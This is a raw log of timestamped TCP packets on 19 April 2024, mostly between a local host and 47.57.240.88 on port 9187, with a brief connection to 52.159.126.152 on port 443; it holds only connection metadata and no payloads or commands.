Apr 19, 2024 01:33:19.454860926 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454898119 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454927921 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.454927921 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.454935074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.454977036 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.455014944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.455027103 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.455291986 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.654397011 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654443979 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654517889 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654556990 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654593945 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654616117 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.654616117 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.654630899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654670000 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654706001 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654742002 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654750109 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.654750109 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.654781103 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654820919 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654858112 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654877901 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.654896975 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.654973984 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.854489088 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854549885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854590893 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854604959 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.854628086 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854665041 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854701996 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854703903 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.854739904 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854779005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854788065 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.854818106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.854836941 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.896142960 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.987467051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.987495899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.987514019 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:19.987552881 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:19.987731934 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.323318005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.323395967 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.323436022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.323472023 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.323493004 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.323512077 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.323528051 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.323550940 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.323589087 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.323751926 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.365163088 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.422761917 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.422828913 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.422871113 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.422909021 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.422910929 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.422946930 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.422960043 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.422988892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.423043966 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.423047066 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.423085928 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.423127890 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.423166037 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.423202991 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.423217058 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.423217058 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.423243046 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.423281908 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.423350096 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.474423885 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.622960091 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623017073 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623053074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623063087 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.623090982 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623127937 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623138905 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.623167038 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623217106 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.623220921 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623259068 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623296976 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623311996 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.623334885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623373032 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623389006 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.623411894 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623449087 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.623452902 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.677369118 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.822582006 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822638988 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822676897 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822688103 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.822720051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822760105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822768927 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.822808027 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822844982 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822851896 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.822881937 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822920084 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822938919 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.822957993 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.822995901 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.823008060 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.823035002 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.823075056 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:20.823077917 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:20.864887953 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.022937059 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023001909 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023041010 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023051977 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.023081064 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023122072 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023135900 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.023159981 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023205042 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.023205042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023224115 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023242950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023267984 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.023284912 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023325920 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023329973 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.023344994 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023387909 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.023401976 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.068013906 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.223249912 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223304033 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223341942 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223351002 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.223385096 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223426104 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223439932 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.223465919 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223505020 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223517895 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.223546028 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223582029 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.223584890 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.271145105 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.356456041 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356497049 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356533051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356570005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356606007 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356638908 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.356643915 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356683016 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356717110 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.356719971 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356756926 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356794119 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356829882 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356858969 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.356865883 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356904984 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.356987000 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.556802034 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.556862116 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.556900024 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.556937933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.556974888 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.556979895 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557008982 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.557018995 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557056904 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557096004 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557122946 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.557135105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557174921 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557204962 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.557213068 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557240009 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.557250977 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557291985 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.557322025 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.599591970 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.756824017 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.756882906 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.756922007 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.756958961 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.756997108 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.756998062 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.757034063 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.757071018 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.757107019 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.757107019 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.757108927 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.757147074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.757195950 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.802690029 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.889765024 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.889810085 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.889843941 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:21.890037060 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:21.890037060 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.226012945 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.226074934 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.226114035 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.226152897 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.226195097 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.226226091 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.226226091 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.226232052 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.226273060 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.226851940 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.325304985 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325433969 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325473070 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325505018 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.325511932 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325551033 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325587988 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325625896 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325634003 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.325634003 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.325664043 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325706005 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325709105 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.325747013 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325788021 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325826883 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325866938 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.325869083 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.325869083 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.380595922 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.525826931 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.525856972 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.525881052 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.525898933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.525918961 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.525918961 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.525942087 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.525950909 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.525963068 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.525980949 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.525999069 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.526016951 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.526034117 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.526041031 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.526041031 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.526052952 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.526072025 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.526086092 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.526086092 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.568109989 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.725341082 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725440025 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725449085 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725456953 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725476027 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725493908 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725492954 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.725512981 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725533009 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725550890 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725564957 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.725570917 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725583076 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.725615978 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725635052 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725651979 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.725656033 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.725697041 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.858484983 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:22.858524084 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:22.858633041 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:22.859338045 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:22.859354019 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:22.926239014 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926275969 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926295042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926316023 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926321983 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.926333904 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926354885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926373959 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926378012 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.926393986 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926403999 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.926414013 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926435947 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.926440954 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926460028 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926479101 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926481962 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.926496983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:22.926520109 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:22.974253893 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.128196955 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128226995 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128245115 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128262997 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128282070 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128300905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128304005 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.128319979 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128344059 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.128345013 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128355980 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.128391981 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:23.241929054 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:23.242011070 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:23.245382071 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:23.245392084 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:23.246412039 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:23.248477936 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:23.248667002 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:23.248673916 CEST	443	49727	52.159.126.152	192.168.2.6
Apr 19, 2024 01:33:23.248802900 CEST	49727	443	192.168.2.6	52.159.126.152
Apr 19, 2024 01:33:23.259834051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260143042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260173082 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:23.260191917 CEST	9187	49717	47.57.240.88	192.168.2.6
